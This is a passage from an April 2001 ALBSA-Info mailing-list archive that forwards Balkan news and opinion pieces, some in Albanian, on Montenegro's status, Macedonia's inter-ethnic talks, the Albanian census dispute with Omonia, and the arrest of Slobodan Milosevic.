Yugoslavia (FRY) is, as it stands, unsustainable. In "Montenegro: Settling for Independence?", ICG argues that the most important contribution Western governments can make is to take a neutral stance and support a negotiated resolution of status issues between Serbia and Montenegro. President Milo Djukanovic of Montenegro has charted a course for full independence, promising a referendum if he wins elections scheduled for April. Fears that a "redrawing of borders" risks provoking greater instability, or might have a domino-effect in Kosovo, Macedonia or Bosnia and Herzegovina, are exaggerated. The international community should help Serbia and Montenegro redefine their relationship on mutually acceptable terms, in line with the long-term stabilisation of the region. --> Please see www.crisisweb.org for the full report ------------------------------------- CrisisWeb - http://www.crisisweb.org From aalibali at yahoo.com Mon Apr 2 08:43:51 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 2 Apr 2001 05:43:51 -0700 (PDT) Subject: [ALBSA-Info] Botime te reja Message-ID: <20010402124351.23200.qmail@web11508.mail.yahoo.com> Ne vitin 2001; Pergatiten per botim gjashte vepra madhore Lajmi i ores 1:00 PM TIRANE - Gjate vitit 2001, Akademia e Shkencave dhe institucionet qe ka ne varesi kane synim botimin e gjashte veprave voluminoze ne fushen e kerkimeve shkencore. njoftoi nenkryetari i Akademise se Shkencave Eduard Sulstarova, i cili tha se, "gjate ketij viti do te pergatiten per dhe do te dalin ne tregun e librit, vellimi i I e i II i tekstit, "Historia e popullit shqiptar", vellimet e V,VI e VII te vepres se prof Eqerem Cabejit, vellimi i II-te i korpusit "Veshje popullore shqiptare", si dhe do perfundoje pergatitja per botim e vellimit III e IV i tekstit te "Historia e popullit shqiptar", dhe i dy vellimeve te "Fjalorit enciklopedik shqiptar, etj". Gjate vitit te kaluar nga sektori i botimeve te Akademise, ne bashkepunim me institucionet kerkimore e shkencore, u pergatiten dhe u botuan afro 18 vepra voluminoze shkencore, si dhe 9 revista periodike. Keshtu ne Institutin e Gjuhesise dhe Letersise u botua "Fjalori frazeologjik i gjuhes shqipe" me autor Jani Thomai, "Emrat e qyteteve dhe te fshatrave me burim sllav", te Xh Ylli, qe u botua vjet ne Gjermani, si dhe "Shnderrimet fonetike ne sistemin zanor ter shqipes", nga Kolec Topalli, "Historia e gjuhes shqipe", nga Mi?o Samara. Ne Institutin e Kultures Popullore u botuan monografia "Migrimet e shqiptareve" nga Mark Tirta dhe "Grotesku ne folklorin dhe letersine shqipe" nga prof Alfred U?i etj. Ne Institutin e Historise u pergatit dhe u botua studimi "Kosova-rruga e gjate drejt vetvendosjes"me autore Ana Lalaj, "Ekonomia e Kosoves ne vargojt e politikes jugosllave" nga Marenglen Verli, "UNRRA dhe Shqiperia" nga H Kaba, Kuvendime per Historine shqiptare" nga Gazmend Shpuza,etj. en/an (ATSH/BalkanWeb) __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/?.refer=text From aalibali at yahoo.com Mon Apr 2 14:31:44 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 2 Apr 2001 11:31:44 -0700 (PDT) Subject: [ALBSA-Info] Fwd: the Avoidable War -Tonight on TV Message-ID: <20010402183144.91391.qmail@web11505.mail.yahoo.com> Note: forwarded message attached. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/?.refer=text -------------- next part -------------- An embedded message was scrubbed... From: GQKokalari at aol.com Subject: the Avoidable War -Tonight on TV Date: Mon, 2 Apr 2001 13:49:05 EDT Size: 9709 URL: From aalibali at yahoo.com Mon Apr 2 19:32:43 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 2 Apr 2001 16:32:43 -0700 (PDT) Subject: [ALBSA-Info] KOHA JONE Message-ID: <20010402233243.80883.qmail@web11506.mail.yahoo.com> KOHA JONE "Ne veme emrin vetem po u deklaruam greke dhe ortodokse" Me kete metode, minoritaret vetem demtojne vetveten duke vene ne dyshim pasurine e tyre, piken me te forte te procesit te regjistrimit Gjirokaster-Procesi i regjistrimit te pergjithshem te popullsise dhe banesave ne Gjirokaster ka nisur me presione e kercenime ndaj drejtuesve te komisionereve mbikqyres prefekturale dhe punonjesve te deges se INSTAT-it qe merret me zbatimet e ketij ligji. Gjithcka ne kete histori e merr zanafillen nga nje deklarate e shoqates politike te minoritetit grek ne Shqiperi, Omonis. Sipas komisionit te regjistrimit ne Gjirokaster procesi i regjistrimit ka nisur rregullisht sipas dates se percaktuar me ligj, pra, me 31 mars. Te pyetur se si shkon regjistrimi ne minoritet, te njejtat burime konfirmuan se edhe aty procesi ka nisur konform ligjit, por nga ana tjeter nuk kane munguar as reagimet e ashpra permes telefonit ne lidhje me pranimin e kerkeses se bere publike nga Omonia per futjen e pikes per kombesite dhe fese ne pyetesor. Komisioneret thane se shpesh toni i telefonuesve qe i perkasin padyshim minoritetit grek, ka qene kercenues dhe permblidhej ne fraza te tilla si; ne jemi greke dhe do te vdesim te tille; deri ne shprehjen e parullave te njohura te partizaneve te lirise se Vorio Epirit si "Korca dhe Gjirokastra jane greke" etj. Per opinionin shqiptar, por edhe ate minoritar grek ne pergjithesi nuk perben me cudi shfaqja e here pas hereshme e Omonias permes deklaratash diletantiste te mbeshtetura ne deshiren per konfliktualitet me shtetin shqiptar. Ne nje deklarate zyrtare me shkrim qe mban daten 22 mars te vitit 2001 dhe qe iu shpernda shtypit e perkthyer ne gjuhen shqipe vetem 10 dite me vone, Omonia shprehte qendrimin e vet ne lidhje me regjistrimin e pergjithshem te popullsise dhe banesave. Keshilli i pergjithshem i organizates politike te minoritetit grek ne Shqiperi "fton pjestaret e komunitetit grek te mos marrin pjese ne procedurat e regjistrimit duke nxjerre te pavlefshme te dhenat qe do te dalin prej tij" me argumentin se "ne pyetesorin e pergatitur nuk perfshihet pika qe t'i referohet kombesise dhe besimit fetar". Diku ne deklarate haset dhe nje togfjalesh disi i cuditshem "genocid statistikor" per te karakterizuar procesin e porsanisur te rregjistrimit te popullsise ne Shqiperi. Ne kerkesen e omonisteve per perfshirjen ne pyetesor te kombesise as qe mund te thuhet se ka ndonje gje te keqe. Faktet jane kokeforte dhe askush ne Shqiperi ose jashte saj nuk mund te mohoje ekzistencen e minoritetit grek ne kete vend. Sipas nje analisti te njohur per ceshtjet e minoriteteve ne Shqiperi "ajo qe te befason eshte zelli i omonisteve per te marre persiper brenda nje deklarate pozicione dhe qendrime aspak dashamirese ndaj kombit me te cilin ata i lidh pazgjidhshmerisht nje sistem i tere ligjesh organizuese te nje shteti brenda kufijve te caktuar dhe te paraqitur ne te gjitha llojet e hartave te botes". Ne deklarate, kryeomonisti Vangjel Dule dhe drejtuesit e tjere te organizates me reputacion tejet te zvogeluar ne vete minoritetin grek (te pakten nje gje te tille e pohojne personalitete te mirenjohur te minoritetit) gjen rastin te kujtoje se: "gjithashtu, qeveria shqiptare nga ana e saj ushtroi presion ne kete drejtim gjate rgjistrimit te meparshem ne Fyrom". Sipas analistit nuk eshte e veshtire te dallohet brenda ketyre pohimeve ngarkesa negative e koshiences joshqiptare te kesaj organizate qe ne vend te urave te bashkepunimit dhe lidhjes mes Shqiperise dhe Greqise krijon ngrehina dhe hendeqe fale semundjes se nacionalizmit ballkanik te disa drejtuesve te saj". Eshte e qarte se do te ishte plotesisht e mjaftueshme dhe e pranueshme qe kjo deklarate te perkufizohej ne paragrafin e 5 a te 6 te saj ku shkruhet se "mosregjistrimi i kombesise dhe besimit shqiptar te nenshtetasve vjen ne kundershtim me ligjin per regjistrimin qe ne nenin e pare te tij percakton se regjistrimi ofron te dhena per numrin dhe shperndarjen gjeografike, strukturen demografike dhe karakteristikat kryesore te saj". Nga ana tjeter, veshtrimi i Omonias eshte zhytur thelle ne historine e meparshme te shqiptareve ku ata kane zbuluar "se ne te gjitha rregjistrimet qe jane kryer gjate ketij shekulli ne vend, jane zbatuar nga regjime jo demokratike qe madje nuk i kane fshehur qellimet e tyre per asimilim te dhunshem dhe zvogelim fiktiv te numrit te pjestareve te minoritetit etnik grek qe jeton ne trevat e tij". Omonia me lojen e kungulleshes mund te arrije gjithe gjithe te beje per vete nje pjese te minoritetit qe i dergohet falas ne shtepi gazeta "Laikovima" apo "Omonia". Origjinal ishte mendimi i shprehur prej njerit nga drejtuesit e shtypit te shkruar ne gjuhen greke ne Gjirokaster. E cfare rendesie mund te kete tek e fundit nese Shqiperi shpallet shifra e sakte 58 mije, 100 mije apo 120 mije minoritare greke. E rendesishme sipas tij eshte qe minoritetet ne Shqiperi te gezojne te drejtat e sanksionuara nga konventa nderkombetare ndersa perpjekja per te gjetur shkak per grindje me shtetin shqiptar shkon ne cdo rast ne disfavor te klimes se duhur per sigurimin dhe respektimin e ketyre te drejtave. Cudi se si Omonia mund te harroje nga ana tjeter ata qindra, mijera shqiptare te punesuar ne Greqi, nje pjese e madhe e te cileve tashme te integruar ne shoqerine greke duke i fryre keshtu zjarreve antishqiptare dhe duke shkuar cuditerisht ne kundershti me prononcimet e njohura te vete politikaneve moderne greke. Kryeministri Kosta Simitis duke folur pak kohe me pare per problemet e qeverisjes perparimtare ne shekullin XXI u shpreh (Simitis kishte per reference nxenesin shqiptar Odise Cenaj i bere objekt diskutimesh ne tetorin e vitit te kaluar per ngritjen e flamurit grek si nxenesi me i mire i Selanikut): "Flamurtaret e huaj jane ekskavatore qe celin rruge, jane flamurtare vlerash qe hapin horizonte te reja dhe nuk ngrene mure izolimi". Perkunder kesaj Omonia ne metoden e trajtimit dhe ndertimit te marredhenieve me shqiptaret dhe shtetin e shqiptareve qe eshte edhe i tyre vazhdon te mbetet nje organizate e varfer dhe arkaike ne ide. Nderkohe, kerkesa e omonisteve per te shenuar ne pyetesor fene, tingellon plotesisht greke. Pergjigjen me te mire per faktin se sa myslimane, ortodokse, katolike etj, jane ne Shqiperi, omonistet do te benin mire ta kerkonin ne filmin e regjisorit te shquar grek Teo Agjellopullos kushtuar vellezerve fotografe shqiptare Manakis. Nderkohe qe edhe vete shteti i tyre ame nuk ka pranuar te shenoje ne dokumentet e identifikimit besimin fetar. Nje zyrtar i prefektures se Gjirokastres e cilesoi te gjithe kete zhurme qe perpiqet te krijoje Omonia si pasoje e mosthellimit ne "ligjin per regjistrmin e drejtuesve te kesaj organizate". Sipas tij regjistrimi i popullsise ne Shqiperi perderisa nuk do te ekzistoje kompjuterizimi i te dhenave i regjistrave themeltare te shtetasve veshtire se mund te behet maksimalisht i besueshem. Vetem pas shume vitesh, sipas tij kjo gje mund te behet e mundur dhe te arrije perfeksionin e kerkuar, por deri atehere Omonias do t'i mjaftoje koha per te bere te ditur qendrimin e saj zyrtar nese do te vazhdoje te ekzistoje si organizate. Nga ana tjeter, tha burimi ne fjale, e drejta per kombesine dhe per ta ndryshuar e mbajtur ate eshte e pamohueshme per kedo ne Shqiperi sipas ligjit dhe per kete ekzistojne regjistrat themeltare, te dhenave te te cileve nuk mund t'i fshihen as vete kreret e Omonias. Ligji per regjistrimin e pergjithshem te popullsise dhe banesave eshte i mbeshtetur ne pervojen evropiane me te mire ne kete drejtim dhe akuza e Omonias "se regjistrimi merr karakter provokativ pasi pergatitet me ngutje dhe paqartesi ligjore" eshte i padrejte. Si perfundim, ky regjistrim qe po pergatitet nga qeveria shqiptare ka piken me te forte, rejgistrimin e pasurive. Nese omonionistet do ta bojkotojne procesin, ata do t'i bejne mjaft deme vetes duke vene ne dyshim pasurine e tyre. Ndricim Nero 04/03/2001 __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/?.refer=text From aalibali at yahoo.com Mon Apr 2 21:25:05 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Mon, 2 Apr 2001 18:25:05 -0700 (PDT) Subject: [ALBSA-Info] DT Message-ID: <20010403012505.54806.qmail@web11505.mail.yahoo.com> THE DAILY TELEGRAPH(LONDON) April 02, 2001, Monday Pg. 19 Resolve in the Balkans As the spectre of Greater Albania grows, Slobodan Milosevic, architect of the rival Balkan project, has at last been arrested. Greater Serbia was his dream, and in seeking to realise it he subjected former Yugoslavia to a scale of suffering not seen in Europe since the Second World War. It has taken the collapse of his power, first through military defeat, then through the ballot box, for him at last to be brought to account. As with Al Capone in the Chicago of the 1920s and 30s, he is being charged initially not with murder and mayhem but with embezzlement. Nevertheless, in seizing him yesterday from his Belgrade villa, a rubicon has been crossed. A trial and conviction in Serbia should open the way for his appearance before the international war crimes tribunal, which has indicted him for ethnic cleansing in Kosovo. Milosevic was overthrown last autumn but it has taken his successors five months to arrest him. The main obstacle was Vojislav Kostunica, the new Yugoslav president, who did a deal with several of the old dictator's henchmen in order to keep the peace, and who objected, as a nationalist, to the claims of The Hague tribunal. For the big fish to be netted, it has required, first, the defeat of Milosevic's Socialists in parliamentary elections last December and, second, pressure from the United States. Washington gave the Yugoslavs a deadline for the arrest which, if not met, would have jeopardised their chances of receiving aid. For a country reduced to semi-criminal penury by Milosevic, that ultimatum was telling. Reluctance to move against the old president demonstrates the democratic fragility of the Yugoslav rump. His eventual arrest is immensely cheering, but it is just one of a series of tests facing Mr Kostunica and Zoran Djindjic, the Serbian prime minister. Next month Montenegro will vote in a parliamentary poll seen as a barometer of popular desire to leave the Yugoslav Federation. Later in the year, provincial elections are due in Kosovo, a further stage in preparing the province for at least a high degree of autonomy from Belgrade or, which is much more likely, independence. Yugoslavia, created after the First World War, could cease to exist. Such a prospect is difficult for the Serbs to swallow but it is the price they may have to pay for throwing in their lot with a thug like Milosevic. In the months ahead, Western powers will need to remind themselves of the principle for which they became involved in the disintegration of the old Titoist federation - that of peaceful self-determination. That means upholding the right of the Montenegrins and the moderate Kosovars to part company with Serbia. It also entails defending Macedonia and Kosovo from armed extremists. The arrest of Milosevic is an important symbol of renaissance in the Balkans but should give no ground for the weakening of Western resolve. There is much to be done before the region is at peace. [PS]Features: [ES] __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/?.refer=text From Gazhebo at aol.com Mon Apr 2 22:27:14 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Mon, 2 Apr 2001 22:27:14 EDT Subject: [ALBSA-Info] Faltering start to Macedonia inter-ethnic talks Message-ID: <42.12e970f3.27fa8f02@aol.com> Faltering start to Macedonia inter-ethnic talks By Kole Casule SKOPJE, April 2 (Reuters) - Macedonia's political leaders began talks on Monday to address ethnic tensions but the process got off to a poor start, with a boycott by the main Albanian opposition party and Slav protests against concessions. President Boris Trajkovski said he presented a document which formed the basis for "more concrete talks" and asked political party leaders to reconvene in a week with proposals for addressing the grievances of minority ethnic Albanians. "Although there are differences, the continuation of these talks should make progress towards the stabilisation of inter-ethnic relations in the country," Trajkovski told reporters after the meeting. But the Party for Democratic Prosperity (PDP) refused to participate in the talks, which it is hoped will prevent a repeat of a month-long ethnic Albanian rebellion that was fuelled by anger at discrimination and mistreatment. "The PDP thinks this unofficial meeting is intended to daze the international community into believing that some talks are taking place in Macedonia and that dialogue continues," PDP spokesman Zahir Bekteshi told Reuters. "We want the meetings to be well prepared with a definite agenda and we want international mediation." European Union security chief Javier Solana arrived to support the talks and was met by nearly 100 Macedonian demonstrators pledging to defend the constitution, which Albanians say enshrines the dominant role of local Slavs. "We are here to prevent Mr. Solana and the likes of him changing our constitution," said Vladimir Nikuljski, 28. "It's one of the most democratic in the world." But Solana said the EU would not dictate terms to Macedonia's political leaders, nor play the role of mediator. "The European Union is here to help. But we are not here in a mediating function," Solana said after meeting politicians from both sides of Macedonia's ethnic divide. "The dialogue is among the leaders of this country... but it would help the situation if every citizen of the country feels comfortable with the constitution." FRAGILE COALITION Slav Prime Minister Ljubco Georgievski's fragile coalition held together during the fighting but key partner Arben Xhaferi, leader of the main ethnic Albanian party, says he will quit the government if his community's demands are not met soon. Xhaferi sent his deputy, Menduh Thaci, to the talks. Ethnic Albanians, who account for roughly one third of the population, want to change the constitution which names Macedonian Slavs as the primary nation. They have also called for greater language rights and decentralisation of government. But Slav leaders fear a backlash from their own constituency if they concede too much. The Macedonian army said last week it had completed its operation to drive out rebels from their hillside hideouts. But security forces exchanged fire with a group of gunmen on Monday as they tried to enter a village in the hills above the northwestern city of Tetovo, Defence Ministry spokesman Georgi Trendafilov told Reuters. He said the gunmen tried to enter the village of Selce -- one of the headquarters of the guerrilla army -- via an unauthorised route and opened fire when challenged. The mayor of Tetovo accused the army of shooting an unarmed Albanian youth. Alarmed by the prospect of another major conflict in the Balkans, Europe has offered greater links with the EU and aid as a reward for making progress towards ethnic reconciliation. Slav and Albanian leaders have been invited to Luxembourg on April 9 to sign a Stabilisation and Association agreement, which is viewed as the first step towards EU membership. But Xhaferi says he will not attend unless genuine negotiations on the demands of ethnic Albanians are under way. European Commissioner for External Relations Chris Patten urged Macedonia's politicians to speed up the process. "A dialogue has begun and I don't think there's likely to be a better dialogue available so the sooner it makes progress the better," he told a news conference late on Monday. From Gazhebo at aol.com Mon Apr 2 22:28:07 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Mon, 2 Apr 2001 22:28:07 EDT Subject: [ALBSA-Info] Albania urges Macedonians to speed ethnic talks Message-ID: Albania urges Macedonians to speed ethnic talks THESSALONIKI, Greece, April 2 (Reuters) - Albania urged the Macedonian government on Monday to speed up talks with ethnic Albanian political leaders to ease tensions in the Balkan state and bring back stability to the whole region. In an interview, Foreign Minister Paskal Milo also said that Macedonia should conduct real reforms in its dealings with the ethnic Albanian minority. "I will be really pleased if the government (of Macedonia) starts the real and substantial dialogue with representatives of the ethnic Albanian population," Milo told Reuters. He was speaking on the sidelines of a Balkan economic conference in the northern Greek port city of Thessaloniki. Macedonia has in the past weeks fought off ethnic Albanian insurgents along the border of the United Nations-controlled Yugoslav province of Kosovo. It has also said it would start talks with the main ethnic Albanian parties on Monday. "It's important not to lose any time to resolve the problems for the security of all the region," Milo said. "The stability of Macedonia means the stability of all the region." Milo said Albania played a key role in controlling ethnic Albanian grievances but it was up to Skopje to push the process forward. "We did not support any kind of extremism but now it is necessary to have substantial reforms and not cosmetic ones," he said. "Reforms in education, public administration, decentralisation of local power." He said ethnic Albanians, estimated to account for one third of Macedonia's total population, should be treated as equal citizens. "They should never be seen again as second-grade people," Milo said. From Gazhebo at aol.com Mon Apr 2 22:28:51 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Mon, 2 Apr 2001 22:28:51 EDT Subject: [ALBSA-Info] Milosevic may choose to go to The Hague--minister Message-ID: Milosevic may choose to go to The Hague--minister VIENNA, April 2 (Reuters) - Serbia's interior minister said on Monday that former Yugoslav President Slobodan Milosevic might choose to go to The Hague to face war crimes charges in order to avoid the death penalty at home. Dusan Mihajlovic, in a brief interview with Austria's ORF television after his arrival for an official visit to Austria, added that the discomfort of Belgrade prisons might be a further incentive for Milosevic. "He will certainly come to a court hearing in Belgrade and perhaps he may wish to be handed over to The Hague," Mihajlovic said. When the interviewer questioned whether the former Yugoslav ruler would really choose to go to the international war crimes tribunal voluntarily, Mihajlovic replied: "There is an essential difference between The Hague and Serbia. Serbian criminal law envisages the death penalty. Also the prisons in Serbia are far from being very comfortable." Milosevic, arrested in Belgrade on Sunday after a standoff with security forces, was indicted by the Hague Tribunal in 1999 for alleged atrocities against Kosovo Albanians. Justice authorities in Serbia have not so far accused Milosevic of any offence serious enough to carry the death penalty. He currently faces charges of corruption and criminal conspiracy. However, many of his opponents have accused him of involvement in politically motivated killings, which could in theory result in the death penalty. The penalty has not, though, been carried out in Serbia for many years. Mihajlovic, speaking through an interpreter, said Milosevic had hoped to encourage destabilisation in Serbia which could have paved the way for a comeback. "These were just dreams of Milosevic. He hoped there would be a destabilisation of democratic forces in Serbia. He hoped that in the difficult economic and social conditions there would be unrest among the population. He hoped he would get the support of his party friends," the minister said. "His hopes were not fulfilled. Milosevic is today in prison and Serbia is free." From Gazhebo at aol.com Mon Apr 2 22:46:06 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Mon, 2 Apr 2001 22:46:06 EDT Subject: [ALBSA-Info] Dialogue is the only solution/Kathimerini Message-ID: <2f.13409c80.27fa936e@aol.com> Dialogue is the only solution Javier Solana, EU's foreign policy and security chief, talks about the latest Balkan crisis During his visit to FYROM, Javier Solana said that effective reform policies and ensuring the multiethnic character of FYROM society were mandatory. 'This means that FYROM must abide by the policies of reform and dialogue, ensuring that every ethnic minority group has an interest in the country's By Stavros Tzimas Kathimerini The latest Balkan crisis has highlighted the demand for European intervention in order to stabilize the area. The armed Albanian uprising in the Former Yugoslav Republic of Macedonia has shown that the European Union has to have both the will and the ability to ensure stability in Europe. Javier Solana, the EU's foreign policy and security chief, has made repeated trips to Skopje and has condemned the extremists' use of force. He has also urged the FYROM leadership and ethnic Albanian political parties to exercise self-control and to engage in political dialogue. Solana told Kathimerini that the problems in the former Yugoslavia and the Balkans in general are at the moment the main focus of joint European defense and security policy. Asked about the basis for the optimism he expressed after his recent visit to FYROM, he emphasized that his optimism had been reserved. "I said that the phase of military operations was over, opening the way for a political resolution of the crisis. FYROM's military operations were particularly successful, essentially without civilian losses," he said, adding that attention should now be focused on the political aspect of the issue, through a broad dialogue within the framework of state institutions, to resolve the problems plaguing the ethnic Albanian community. "In the past few days there has been considerable progress in FYROM... In all likelihood, there will be fresh challenges within the next few days, but the initial successes of FYROM's troops, plus the fact that the Albanian party, the DPA, has not left the government coalition... shows there is still hope for securing stability in FYROM," he said. During his visit to FYROM, Solana called for a political dialogue to resolve the problems faced by the country's sizable ethnic Albanian minority, who want their rights ratified in the constitution, something that the Slav majority are likely to reject. Solana said that effective reform policies and ensuring the multiethnic character of FYROM society were mandatory. "This means that FYROM must abide by the policies of reform and dialogue, ensuring that every ethnic minority group has an interest in the country's economic and political growth. In my tour of the area last week, I visited FYROM three times to underline the importance I attribute to beginning a dialogue with the Albanian political parties that represent the country's Albanian population and one of which is a member of the governing coalition." "The Albanian population in the region has to realize that its interests will only be served effectively through democratic institutions. The range and direction of the reforms should be the subject of dialogue within FYROM. "The EU is prepared to help bring this about with plans for border administration, support for refugees and local government programs and funds for the University of Southeastern Europe." Solana believes that a dialogue with all legal Albanian organizations should be held before any changes are made to FYROM's constitution. As for the causes of the current crisis, which some believe are a result of NATO's intervention in Kosovo, Solana said that as many of these events - in Kosovo, southern Serbia and FYROM - are inter-related, a firm policy is required from the international community. Solana said the EU had formed the basis for a strategy based on a procedure set out at the Zagreb summit. "Finally, we should not underestimate the importance of creating an economic and social basis for policies for progress, which are our goals in the Balkans. As long as 50 percent of youth in the Balkans are jobless, there will always be the danger of new uprisings," he added. Asked to comment on a widespread impression that NATO, the US and the EU had been "spoiling" the Albanians, who were now finding it hard to contain their nationalist demands, Solana said that protecting minorities from oppression should not be confused with nationalist demands. "The international community's intervention in Kosovo was aimed at protecting Albanians in Kosovo, but we will not allow a small group of extremists in FYROM to endanger what we have achieved in recent years. These groups have to realize that that they are seriously undermining the interests and goals of Albanian minorities throughout southeastern Europe. At the dawn of the third millennium, we need a progressive and constructive approach to dealing with new challenges. There is no longer any room for violence in the Balkans," he said. 'No' to unilateral actions Solana said he had sent a strong message to the Kosovar Albanians asking them to distance themselves from the use of force and the goals of the armed extremists but said the EU needed to continue to provide viable alternatives. "We need to encourage the population to focus their efforts on preparing an autonomous administration. I intend to continue my contacts with all political leaders in Kosovo in view of the imminent elections," he said. In southeastern Serbia, talks aimed at a political solution are continuing despite the obstacles that have arisen. The EU, in cooperation with NATO, is prepared to exert pressure if necessary, he said. In Montenegro, the EU is still asking Podgorica and Belgrade to agree to new constitutional amendments within the framework of the Yugoslav federation and the broader region. With regard to Bosnia, following the Bosnian Croats' recent attempt at separatism, there were many who claimed that the Dayton accords were destined to fail. Asked to comment on whether he felt the Bosnian crisis might be rekindled, Solana said: "I appeal to the Croats of Bosnia to work within the framework of legality in promoting their goals. At the same time, we are obliged to support the new non-nationalist government of Bosnia in every way possible as it attempts to deal with its problems with the aim of joining the European community. The citizens of Bosnia-Herzegovina can only hope to enter Europe as a unified state. The EU continues to give its wholehearted support to the efforts of High Representative in Bosnia Wolfgang Petritsch to implement the Dayton and Paris accords." (Ed. note: This interview was translated from the Greek.) From Gazhebo at aol.com Mon Apr 2 22:48:09 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Mon, 2 Apr 2001 22:48:09 EDT Subject: [ALBSA-Info] Simitis says Milosevic trial up to Belgrade Message-ID: Simitis says Milosevic trial up to Belgrade Western leaders yesterday hailed as an important step forward the arrest for corruption of former Yugoslav President Slobodan Milosevic, and called for his extradition to face charges of "crimes against humanity." In Greece, the arrest got mixed responses. Speaking hours before the arrest, Prime Minister Costas Simitis said on Saturday that Belgrade had the sole responsibility for deciding on Milosevic's future. "The decision (on whether he should be tried by the United Nations war crimes tribunal) belongs to the government of Yugoslavia alone," he told journalists during a joint conference in Thessaloniki on Saturday with visiting EU Commission President Romano Prodi. Prodi said he wanted Milosevic to "be tried by the tribunal... But we have to do it by having confidence in Serbian democracy." Following a meeting in the northern town of Kastoria with his visiting Albanian counterpart, Defense Minister Akis Tsochadzopoulos called the arrest operation a "grave error" committed by "those who have pushed matters along in Yugoslavia, who have demanded solutions concerning justice in exchange for economic assistance." The Greek Communist Party denounced the "terrorist act" and demanded Milosevic's immediate release. "Slobodan Milosevic would not have been arrested had he acceded to demands at the Rambouillet meetings by the US, Germany and the other butchers of the Balkans," a statement said yesterday. From Gazhebo at aol.com Mon Apr 2 22:59:27 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Mon, 2 Apr 2001 22:59:27 EDT Subject: [ALBSA-Info] =?ISO-8859-1?Q?In=20Milosevic=92s=20Wake/NEWSWEEK?= Message-ID: In Milosevic?s Wake He brutalized people for 11 years. Then police came knocking at his own door. Now that Slobo?s in custody, can there be justice at last? By Rod Nordland NEWSWEEK? ? His legacy is vast, and appalling. A quarter of a million dead in Bosnia alone. More than 3 million refugees. Later in the ?90s, Slobodan Milosevic ?planned, instigated, ordered, committed or otherwise aided and abetted in a campaign of terror and violence directed at Kosovo Albanian civilians,? according to the 1999 war-crimes indictment against the Yugoslav ex-dictator. It was only part of the toll exacted by the 10-year reign of the man known as ?the Butcher of the Balkans.? Throughout Milosevic?s Yugoslavia, there were countless lives and families destroyed, villages burned, homes violated. ? LAST WEEKEND SLOBODAN MILOSEVIC finally got a taste of his own medicine. Once more, as happened so often during his regime, heavily armed men in blue jeans, with balaclavas over their faces, piled out of an armored Chevrolet van, then broke into a Yugoslav home. But this time it was his own home. The secret police, at long last, weren?t doing Milosevic?s bidding?they were trying to arrest him. That proved harder than anyone expected. By early Sunday, after a daylong standoff, thousands of police surrounded Milosevic?s villa in Belgrade. Yugoslav authorities who were wary of provoking a bloody battle with the tiny knot of Milosevic supporters?and fearing he might commit suicide?tried to persuade him to give up. Just before dawn Sunday, after a 26-hour marathon, they finally succeeded. The former strongman was taken away in an armored Mercedes jeep to Belgrade?s Central Prison, where a special floor had been prepared for him and other officials of his regime. ?But even in the final minutes, it wasn?t easy. Just before his arrest, Milosevic pulled out a pistol he had under his coat, threatening to shoot the policemen trying to arrest him, said Deputy Serbian Prime Minister Zarko Korac. Then he said he would turn the gun on himself and members of his family, said Korac, who described him as ?quite mentally disturbed? by his humiliation. Milosevic finally agreed to go peacefully, though he later denounced the charges against him as ludicrous. But his agitated daughter, Marija, began firing an automatic weapon until she was persuaded to drop the gun by police who stormed the building. No one was seriously hurt. ? ? ? ? A FULL-BLOWN CRISIS By then, what began as the detention of a hated ex-dictator had spiraled into a full-blown crisis among his successors. The standoff over Milosevic?s arrest exposed deep-seated divisions between Yugoslavia?s popular president, Vojislav Kostunica, and the powerful prime minister of the Serb Republic, Zoran Djindjic. Kostunica had opposed the arrest until the eleventh hour despite the danger of a cutoff in U.S. aid. His bias was clear. Kostunica was elected in a landslide last fall as a middle-of-the-road candidate, leading to Milosevic?s ouster. The soft-spoken constitutional lawyer had strongly anti-Western views, appealing both to the Serbs? strong nationalism?the same ethnic pride that Milosevic once exploited?and their desire to put the horrific Milosevic era behind them. Kostunica especially feared looking like a lackey of the NATO allies who want to send Milosevic to The Hague. Djindjic, on the other hand, is an avowed liberal who fears a cutoff of Western funds?and who harbors presidential ambitions himself. ?On Saturday the tensions between the two erupted into public view when Djindjic made his move against Milosevic while Kostunica was at a conference in Geneva. As Serbia?s leader, Djindjic controls the local police, but Kostunica commands the Army, which at first refused to allow the arrest to proceed. Milosevic?s hard-core supporters actually began to cheer Kostunica as the police backed off. Furious, Djindjic and other officials met with Kostunica and Army commanders for three tense hours. Although the two men have rarely been seen in public together, they emerged from the meeting walking side by side. A tight-lipped Kostunica made a brief statement that said it all: ?We will not allow a new state crisis to emerge because of one individual. The laws apply for every citizen, even Slobodan Milosevic.? Kostunica refused to take questions, but it was clear that other leaders had persuaded him to give in and let the police end the matter. ?If you start something,? he said grimly, ?you have to finish it.? Officials then gave Milosevic a few hours to give up peacefully?even though the ex-dictator had earlier declared ?he will not be taken alive to prison,? according to a conversation related by the new government?s Interior minister, Dusan Mihajlovic. ? ? ? ? A LEGACY OF SHAME Kostunica?s concession may have been the most decisive moment in Yugoslav politics since Milosevic?s ouster last October. Last weekend?s events mean that Milosevic?s 11-year-long reign of terror is almost certainly ended for good. For Serbs, Milosevic?s moments of glory were brief: he incited Serb jingoism, forcing the mightiest military alliance in history, NATO, to go to war for the first time. Far more enduring was his legacy of shame: a wrecked economy, pariah status among nations?and ultimately, perhaps, the final disintegration of Yugoslavia if Montenegro, the last republic outside Serbia, secedes this summer as expected. A lot of people had expected Milosevic to leave the presidential villa feet first. Both Milosevic?s father and mother, as well as a beloved uncle, committed suicide in his youth. Holed up with the former president were his wife, daughter, daughter-in-law and his 2-year-old grandson, Marko?plus an unknown number of armed supporters, probably no more than a couple of dozen. ?Milosevic is already entering history,? said Richard Holbrooke, the former U.S. diplomat who negotiated the Dayton peace accords with him. ?He?s a has-been.? 